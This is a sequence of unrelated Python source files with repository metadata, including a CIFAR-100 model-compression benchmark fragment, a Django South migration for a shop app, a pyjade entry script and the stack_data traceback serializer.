print('Compressing model with basis filter algorithm, compression factor of {}'.format(opts.compress_factor))
model = basisModel(model, opts.use_weights, opts.add_bn, opts.fixed_basbs)
model.update_channels(opts.compress_factor)
display_stats(model, (64,64))
else:
print('No compression schema')
if config.use_cuda:
model.cuda()
if opts.tensorRT:
print('Optimizing model with TensorRT')
# Get random input to pass as a sample to TensorRT
x, _ = next(iter(data_loader))
if config.use_cuda:
x = x.cuda()
else:
raise RuntimeError('Cannot use TensorRT without CUDA')
# Optimize
trt_model = torch2trt(model, [x], max_batch_size=config.batch_size)
del model
del x
torch.cuda.empty_cache()
model = trt_model
model.cuda()
else:
print('No TensorRT')
print('memory usage:')
print(torch.cuda.memory_allocated())
print(torch.cuda.memory_summary())
print('Evaluating model with {} iterations over {} images'.format(opts.n, len(data_loader)*config.batch_size))
all_times, all_accs = [], []
for i in range(opts.n):
times, accs = [], []
for _, sample in enumerate(data_loader):
x, y = sample
if config.use_cuda:
x = x.cuda()
y = y.cuda()
with torch.no_grad():
start_time = time.time()
y_pred = model(x)
end_time = time.time()
times.append((end_time-start_time)/float(x.shape[0]) * 1000 * 1000) # saves the average time per image
acc = get_accuracy(y_pred, y) # computes the accuracy per batch
accs.append(acc.item())
iteration_time, iteration_acc = float(np.mean(times)), float(np.mean(accs))*100
all_times.append(iteration_time)
all_accs.append(iteration_acc)
print('Iteration %d: Avg Time per Image: %.4f (micro-sec) Accuracy: %.4f' % (i, iteration_time, iteration_acc), flush=True)
avg_time, avg_acc = float(np.mean(all_times[1:])), float(np.mean(all_accs))
print('-'*70)
print('Final reuslts: Avg Time per Image: %.4f (micro-sec) Accuracy: %.4f' % (avg_time, avg_acc), flush=True)
return avg_time, avg_acc
def evaluate(opts):
val_dataset = get_cifar100_dataset('./data/', False, download=True)
val_dataloader = DataLoader(val_dataset, batch_size=config.batch_size, shuffle=False, num_workers=config.workers)
save_file_path = os.path.join(opts.save_dir, opts.model)
if opts.load_state_dict:
if opts.use_vgg_old:
model = VGGModel_old(n_classes=config.n_classes)
else:
model = VGGModel(n_classes=config.n_classes)
model.load_state_dict(torch.load(save_file_path)['state_dict'])
else:
model = torch.load(save_file_path)
avg_time, avg_acc = validation(model, val_dataloader, opts)
if __name__ == '__main__':
evaluate(opts)
|
[
"danielzgsilva@knights.ucf.edu"
] |
danielzgsilva@knights.ucf.edu
|
6a6330e5e145cce0ae6fac8aad2d84caea5e127a
|
023da7e3a9307d4f6fe721af79544689c1f6f652
|
/practice/001/practice003.py
|
1bea575454a51651a5ff96ff9249f4c5ee40ddee
|
[] |
no_license
|
fanxingxiao/python-practice
|
caaaed740927238b97e10ccd7d0a199c75cda98f
|
6c2a11f284a325057b20a8fb6a4bc5c26ddb178d
|
refs/heads/master
| 2020-09-30T22:52:44.512610
| 2020-06-29T10:49:18
| 2020-06-29T10:49:18
| 227,393,246
| 0
| 0
| null | null | null | null |
GB18030
|
Python
| false
| false
| 324
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 使用*args 和 **kwargs 调用函数
def test_args_kwargs(arg1, arg2, arg3):
print("arg1:", arg1)
print("arg2:", arg2)
print("arg3:", arg3)
args = ("two", 3, 5)
test_args_kwargs(*args)
kwargs = {"arg3": 3, "arg2": "two", "arg1": 5}
test_args_kwargs(**kwargs)
|
[
"v-caimingxin@xiaomi.com"
] |
v-caimingxin@xiaomi.com
|
209d3db6c79ee799511f92208ef8f428a130b3ab
|
8b18410b8acc6717164c92f09ebcaf4c2d5812e6
|
/imly/migrations/0014_auto__add_special.py
|
85bdbf38f033f1de17ce5873a974dd9a771ba5d1
|
[] |
no_license
|
shekit/imly
|
1b856873b88f07af2b281fb34c08cb87f9813c6d
|
69ec51a2ffd9927f20aca52bdb833b79d0e7ddfb
|
refs/heads/master
| 2020-12-24T14:27:46.351037
| 2013-10-31T12:36:40
| 2013-10-31T12:36:40
| 39,316,471
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 24,442
|
py
|
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Special'
db.create_table(u'imly_special', (
(u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('title', self.gf('django.db.models.fields.CharField')(max_length=100)),
('slug', self.gf('autoslug.fields.AutoSlugField')(unique_with=(), max_length=50, populate_from='title')),
('active', self.gf('django.db.models.fields.BooleanField')(default=False)),
('created', self.gf('django.db.models.fields.DateTimeField')(auto_now_add=True, blank=True)),
))
db.send_create_signal(u'imly', ['Special'])
# Adding M2M table for field products on 'Special'
db.create_table(u'imly_special_products', (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('special', models.ForeignKey(orm[u'imly.special'], null=False)),
('product', models.ForeignKey(orm[u'imly.product'], null=False))
))
db.create_unique(u'imly_special_products', ['special_id', 'product_id'])
def backwards(self, orm):
# Deleting model 'Special'
db.delete_table(u'imly_special')
# Removing M2M table for field products on 'Special'
db.delete_table('imly_special_products')
models = {
u'auth.group': {
'Meta': {'object_name': 'Group'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),
'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'})
},
u'auth.permission': {
'Meta': {'ordering': "(u'content_type__app_label', u'content_type__model', u'codename')", 'unique_together': "((u'content_type', u'codename'),)", 'object_name': 'Permission'},
'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['contenttypes.ContentType']"}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})
},
u'auth.user': {
'Meta': {'object_name': 'User'},
'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),
'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),
'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}),
'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
u'contenttypes.contenttype': {
'Meta': {'ordering': "('name',)", 'unique_together': "(('app_label', 'model'),)", 'object_name': 'ContentType', 'db_table': "'django_content_type'"},
'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
u'imly.category': {
'Meta': {'ordering': "['position', 'name']", 'object_name': 'Category'},
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'}),
'position': ('django.db.models.fields.IntegerField', [], {'default': '1'}),
'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '50'}),
'super_category': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'sub_categories'", 'null': 'True', 'to': u"orm['imly.Category']"}),
'tags': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['imly.Tag']", 'symmetrical': 'False', 'blank': 'True'})
},
u'imly.cheftip': {
'Meta': {'object_name': 'ChefTip'},
'create': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'tip_contact_number': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'your_name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'})
},
u'imly.city': {
'Meta': {'object_name': 'City'},
'active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'enclosing_geometry': ('django.contrib.gis.db.models.fields.PolygonField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'slug': ('autoslug.fields.AutoSlugField', [], {'unique_with': '()', 'max_length': '50', 'populate_from': "'name'"})
},
u'imly.deliverylocation': {
'Meta': {'object_name': 'DeliveryLocation'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'location': ('django.contrib.gis.db.models.fields.PointField', [], {'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'store': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'delivery_locations'", 'blank': 'True', 'to': u"orm['imly.Store']"})
},
u'imly.location': {
'Meta': {'ordering': "['name']", 'object_name': 'Location'},
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'}),
'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '50'})
},
u'imly.product': {
'Meta': {'ordering': "['position', 'store']", 'unique_together': "(('name', 'store'),)", 'object_name': 'Product'},
'_unit_price': ('django.db.models.fields.DecimalField', [], {'max_digits': '18', 'decimal_places': '0'}),
'capacity_per_day': ('django.db.models.fields.IntegerField', [], {}),
'category': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['imly.Category']"}),
'currency': ('django.db.models.fields.CharField', [], {'max_length': '3'}),
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'delivery_points': ('django.contrib.gis.db.models.fields.MultiPointField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'description_html': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100'}),
'is_bestseller': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_deleted': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_featured': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'items_in_stock': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'lead_time': ('django.db.models.fields.IntegerField', [], {'default': '1'}),
'lead_time_unit': ('django.db.models.fields.IntegerField', [], {'default': '2'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'pick_up_point': ('django.contrib.gis.db.models.fields.PointField', [], {'null': 'True', 'blank': 'True'}),
'position': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),
'previous_cpd': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'quantity_by_price': ('django.db.models.fields.IntegerField', [], {'default': '1'}),
'quantity_per_item': ('django.db.models.fields.IntegerField', [], {'default': '1'}),
'slug': ('autoslug.fields.AutoSlugField', [], {'unique_with': "['store__name', 'name']", 'max_length': '50', 'populate_from': "'name'"}),
'store': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['imly.Store']"}),
'tags': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['imly.Tag']", 'symmetrical': 'False'}),
'tax_class': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['shop.TaxClass']"}),
'tax_included': ('django.db.models.fields.BooleanField', [], {'default': 'True'})
},
u'imly.special': {
'Meta': {'object_name': 'Special'},
'active': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'products': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['imly.Product']", 'symmetrical': 'False', 'blank': 'True'}),
'slug': ('autoslug.fields.AutoSlugField', [], {'unique_with': '()', 'max_length': '50', 'populate_from': "'title'"}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
u'imly.store': {
'Meta': {'ordering': "['-date_created']", 'object_name': 'Store'},
'categories': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['imly.Category']", 'symmetrical': 'False', 'blank': 'True'}),
'cover_photo': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}),
'data': ('plata.fields.JSONField', [], {'blank': 'True'}),
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'date_updated': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'delivery_areas': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['imly.Location']", 'symmetrical': 'False', 'blank': 'True'}),
'delivery_points': ('django.contrib.gis.db.models.fields.MultiPointField', [], {'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {}),
'description_html': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'facebook_link': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_approved': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_featured': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'is_open': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'logo': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'orders': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['shop.Order']", 'through': u"orm['imly.StoreOrder']", 'symmetrical': 'False'}),
'owner': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['auth.User']", 'unique': 'True'}),
'pick_up': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'pick_up_address': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'pick_up_landmark': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'pick_up_location': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'pick_up_point': ('django.contrib.gis.db.models.fields.PointField', [], {'null': 'True', 'blank': 'True'}),
'provide_delivery': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'slug': ('autoslug.fields.AutoSlugField', [], {'unique_with': '()', 'max_length': '50', 'populate_from': "'name'"}),
'store_contact_number': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'store_notice': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'tagline': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'tags': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['imly.Tag']", 'symmetrical': 'False', 'blank': 'True'}),
'twitter_link': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'})
},
u'imly.storeorder': {
'Meta': {'ordering': "['-delivered_on']", 'object_name': 'StoreOrder'},
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'delivered_by_product_lead': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2013, 6, 11, 0, 0)'}),
'delivered_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2013, 6, 11, 0, 0)'}),
'delivery_lead': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'note': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'order': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['shop.Order']"}),
'order_time': ('django.db.models.fields.IntegerField', [], {'default': '3'}),
'pick_up': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'store': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['imly.Store']"}),
'store_items': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'store_total': ('django.db.models.fields.FloatField', [], {'default': '0.0'}),
'updated': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'})
},
u'imly.tag': {
'Meta': {'ordering': "['name']", 'object_name': 'Tag'},
'date_created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '50'}),
'slug': ('django.db.models.fields.SlugField', [], {'unique': 'True', 'max_length': '50'})
},
u'imly.userprofile': {
'Meta': {'object_name': 'UserProfile'},
'about_me': ('django.db.models.fields.TextField', [], {}),
'about_me_html': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'cover_profile_image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'}),
'first_name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'is_featured': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'last_name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '50'}),
'user': ('django.db.models.fields.related.OneToOneField', [], {'to': u"orm['auth.User']", 'unique': 'True'}),
'word_one': ('django.db.models.fields.CharField', [], {'max_length': '40'}),
'word_three': ('django.db.models.fields.CharField', [], {'max_length': '40'}),
'word_two': ('django.db.models.fields.CharField', [], {'max_length': '40'})
},
u'reviews.revieweditem': {
'Meta': {'ordering': "('date_added',)", 'object_name': 'ReviewedItem'},
'content': ('django.db.models.fields.TextField', [], {}),
'content_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'reviews'", 'to': u"orm['contenttypes.ContentType']"}),
'date_added': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'date_changed': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'object_id': ('django.db.models.fields.PositiveIntegerField', [], {}),
'score': ('django.db.models.fields.IntegerField', [], {}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'reviews'", 'to': u"orm['auth.User']"})
},
u'shop.order': {
'Meta': {'object_name': 'Order'},
'_order_id': ('django.db.models.fields.CharField', [], {'max_length': '20', 'blank': 'True'}),
'billing_address': ('django.db.models.fields.TextField', [], {}),
'billing_city': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'billing_company': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'billing_country': ('django.db.models.fields.CharField', [], {'max_length': '20', 'blank': 'True'}),
'billing_first_name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'billing_last_name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'billing_phone_number': ('django.db.models.fields.CharField', [], {'max_length': '10'}),
'billing_zip_code': ('django.db.models.fields.CharField', [], {'max_length': '50'}),
'confirmed': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),
'created': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),
'currency': ('django.db.models.fields.CharField', [], {'max_length': '3'}),
'data': ('plata.fields.JSONField', [], {'blank': 'True'}),
'delivery_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True'}),
'email': ('django.db.models.fields.EmailField', [], {'max_length': '75'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'items_discount': ('django.db.models.fields.DecimalField', [], {'default': "'0.00'", 'max_digits': '18', 'decimal_places': '10'}),
'items_subtotal': ('django.db.models.fields.DecimalField', [], {'default': "'0.00'", 'max_digits': '18', 'decimal_places': '10'}),
'items_tax': ('django.db.models.fields.DecimalField', [], {'default': "'0.00'", 'max_digits': '18', 'decimal_places': '10'}),
'language_code': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '10', 'blank': 'True'}),
'notes': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'paid': ('django.db.models.fields.DecimalField', [], {'default': "'0.00'", 'max_digits': '18', 'decimal_places': '10'}),
'shipping_address': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'shipping_city': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'shipping_company': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'shipping_cost': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '18', 'decimal_places': '10', 'blank': 'True'}),
'shipping_country': ('django.db.models.fields.CharField', [], {'max_length': '20', 'blank': 'True'}),
'shipping_discount': ('django.db.models.fields.DecimalField', [], {'null': 'True', 'max_digits': '18', 'decimal_places': '10', 'blank': 'True'}),
'shipping_first_name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'shipping_last_name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'shipping_method': ('django.db.models.fields.CharField', [], {'max_length': '100', 'blank': 'True'}),
'shipping_phone_number': ('django.db.models.fields.CharField', [], {'max_length': '10', 'blank': 'True'}),
'shipping_same_as_billing': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),
'shipping_tax': ('django.db.models.fields.DecimalField', [], {'default': "'0.00'", 'max_digits': '18', 'decimal_places': '10'}),
'shipping_zip_code': ('django.db.models.fields.CharField', [], {'max_length': '50', 'blank': 'True'}),
'status': ('django.db.models.fields.PositiveIntegerField', [], {'default': '10'}),
'total': ('django.db.models.fields.DecimalField', [], {'default': "'0.00'", 'max_digits': '18', 'decimal_places': '10'}),
'user': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'orders'", 'null': 'True', 'to': u"orm['auth.User']"})
},
u'shop.taxclass': {
'Meta': {'ordering': "['-priority']", 'object_name': 'TaxClass'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}),
'priority': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),
'rate': ('django.db.models.fields.DecimalField', [], {'max_digits': '10', 'decimal_places': '2'})
}
}
complete_apps = ['imly']
|
[
"manish.kansara07@gmail.com"
] |
manish.kansara07@gmail.com
|
685a499dde0f78f0cfc578b2fedf2b09180686a0
|
e726ea9362257b469a7ec9ec7375304d8e22d6d9
|
/env/bin/pyjade
|
666a5f1a6b333b6f3224562b41e40db84eb2d6fe
|
[] |
no_license
|
abbyoung/malteseofig
|
2fe993b1affc0501363d74db3fc90604f97c7f72
|
26b533cc5c10f9afd0302a644ade8d4dad2b84fb
|
refs/heads/master
| 2016-09-06T15:32:57.538419
| 2015-01-30T05:05:52
| 2015-01-30T05:05:52
| 30,044,840
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 333
|
#!/Users/Abigail/Desktop/slack_exercise/env/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'pyjade==3.0.0','console_scripts','pyjade'
__requires__ = 'pyjade==3.0.0'
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.exit(
load_entry_point('pyjade==3.0.0', 'console_scripts', 'pyjade')()
)
|
[
"Abigail@sherry.local"
] |
Abigail@sherry.local
|
|
28642c224abb07f03d6e3c0002d570ec3095e530
|
8eab8ab725c2132bb8d090cdb2d23a5f71945249
|
/virt/Lib/site-packages/stack_data/serializing.py
|
fb67d2906a1d42c448f6b8f99c6e470900813a01
|
[
"MIT"
] |
permissive
|
JoaoSevergnini/metalpy
|
6c88a413a82bc25edd9308b8490a76fae8dd76ca
|
c2d0098a309b6ce8c756ff840bfb53fb291747b6
|
refs/heads/main
| 2023-04-18T17:25:26.474485
| 2022-09-18T20:44:45
| 2022-09-18T20:44:45
| 474,773,752
| 3
| 1
|
MIT
| 2022-11-03T20:07:50
| 2022-03-27T22:21:01
|
Python
|
UTF-8
|
Python
| false
| false
| 6,441
|
py
|
import inspect
import logging
import sys
import traceback
from collections import Counter
from html import escape as escape_html
from types import FrameType, TracebackType
from typing import Union, Iterable, List
from stack_data import (
style_with_executing_node,
Options,
Line,
FrameInfo,
Variable,
RepeatedFrames,
)
log = logging.getLogger(__name__)
class Serializer:
def __init__(
self,
*,
options=None,
pygmented=False,
show_executing_node=True,
pygments_formatter_cls=None,
pygments_formatter_kwargs=None,
pygments_style="monokai",
executing_node_modifier="bg:#005080",
use_code_qualname=True,
strip_leading_indent=True,
html=False,
chain=True,
collapse_repeated_frames=True,
show_variables=False,
):
if options is None:
options = Options()
if pygmented and not options.pygments_formatter:
if show_executing_node:
pygments_style = style_with_executing_node(
pygments_style, executing_node_modifier
)
if pygments_formatter_cls is None:
if html:
from pygments.formatters.html import (
HtmlFormatter as pygments_formatter_cls,
)
else:
from pygments.formatters.terminal256 import (
Terminal256Formatter as pygments_formatter_cls,
)
options.pygments_formatter = pygments_formatter_cls(
style=pygments_style,
**pygments_formatter_kwargs or {},
)
self.pygmented = pygmented
self.use_code_qualname = use_code_qualname
self.strip_leading_indent = strip_leading_indent
self.html = html
self.chain = chain
self.options = options
self.collapse_repeated_frames = collapse_repeated_frames
self.show_variables = show_variables
def format_exception(self, e=None) -> List[dict]:
if e is None:
e = sys.exc_info()[1]
result = []
if self.chain:
if e.__cause__ is not None:
result = self.format_exception(e.__cause__)
result[-1]["tail"] = traceback._cause_message.strip()
elif e.__context__ is not None and not e.__suppress_context__:
result = self.format_exception(e.__context__)
result[-1]["tail"] = traceback._context_message.strip()
result.append(self.format_traceback_part(e))
return result
def format_traceback_part(self, e: BaseException) -> dict:
return dict(
frames=self.format_stack(e.__traceback__ or sys.exc_info()[2]),
exception=dict(
type=type(e).__name__,
message=traceback._some_str(e),
),
tail="",
)
def format_stack(self, frame_or_tb=None) -> List[dict]:
if frame_or_tb is None:
frame_or_tb = inspect.currentframe().f_back
return list(
self.format_stack_data(
FrameInfo.stack_data(
frame_or_tb,
self.options,
collapse_repeated_frames=self.collapse_repeated_frames,
)
)
)
def format_stack_data(
self, stack: Iterable[Union[FrameInfo, RepeatedFrames]]
) -> Iterable[dict]:
for item in stack:
if isinstance(item, FrameInfo):
if not self.should_include_frame(item):
continue
yield dict(type="frame", **self.format_frame(item))
else:
yield dict(type="repeated_frames", **self.format_repeated_frames(item))
def format_repeated_frames(self, repeated_frames: RepeatedFrames) -> dict:
counts = sorted(
Counter(repeated_frames.frame_keys).items(),
key=lambda item: (-item[1], item[0][0].co_name),
)
return dict(
frames=[
dict(
name=code.co_name,
lineno=lineno,
count=count,
)
for (code, lineno), count in counts
]
)
def format_frame(self, frame: Union[FrameInfo, FrameType, TracebackType]) -> dict:
if not isinstance(frame, FrameInfo):
frame = FrameInfo(frame, self.options)
result = dict(
name=(
frame.executing.code_qualname()
if self.use_code_qualname
else frame.code.co_name
),
filename=frame.filename,
lineno=frame.lineno,
lines=list(self.format_lines(frame.lines)),
)
if self.show_variables:
result["variables"] = list(self.format_variables(frame))
return result
def format_lines(self, lines):
for line in lines:
if isinstance(line, Line):
yield dict(type="line", **self.format_line(line))
else:
yield dict(type="line_gap")
def format_line(self, line: Line) -> dict:
return dict(
is_current=line.is_current,
lineno=line.lineno,
text=line.render(
pygmented=self.pygmented,
escape_html=self.html,
strip_leading_indent=self.strip_leading_indent,
),
)
def format_variables(self, frame_info: FrameInfo) -> Iterable[dict]:
try:
for var in sorted(frame_info.variables, key=lambda v: v.name):
yield self.format_variable(var)
except Exception: # pragma: no cover
log.exception("Error in getting frame variables")
def format_variable(self, var: Variable) -> dict:
return dict(
name=self.format_variable_part(var.name),
value=self.format_variable_part(self.format_variable_value(var.value)),
)
def format_variable_part(self, text):
if self.html:
return escape_html(text)
else:
return text
def format_variable_value(self, value) -> str:
return repr(value)
def should_include_frame(self, frame_info: FrameInfo) -> bool:
return True # pragma: no cover
|
[
"joao.a.severgnini@gmail.com"
] |
joao.a.severgnini@gmail.com
|
5a11112058ae007b6764e25e44cccde6c87c2df1
|
77ab593ed55a6d46b1778f6d41bc70ced3f8cd46
|
/face_into/face72/see_data.py
|
f713bea53d21afcdad492cd716761cea8e41e100
|
[] |
no_license
|
wosxcc/bot
|
e93b92fbca79a915feb186160f3f72c99218ffcb
|
c097f5455bc6264c9f778fb72900475963836153
|
refs/heads/master
| 2021-06-12T12:43:47.314071
| 2018-12-14T08:51:43
| 2018-12-14T08:51:43
| 128,619,488
| 7
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,321
|
py
|
import os
import cv2 as cv
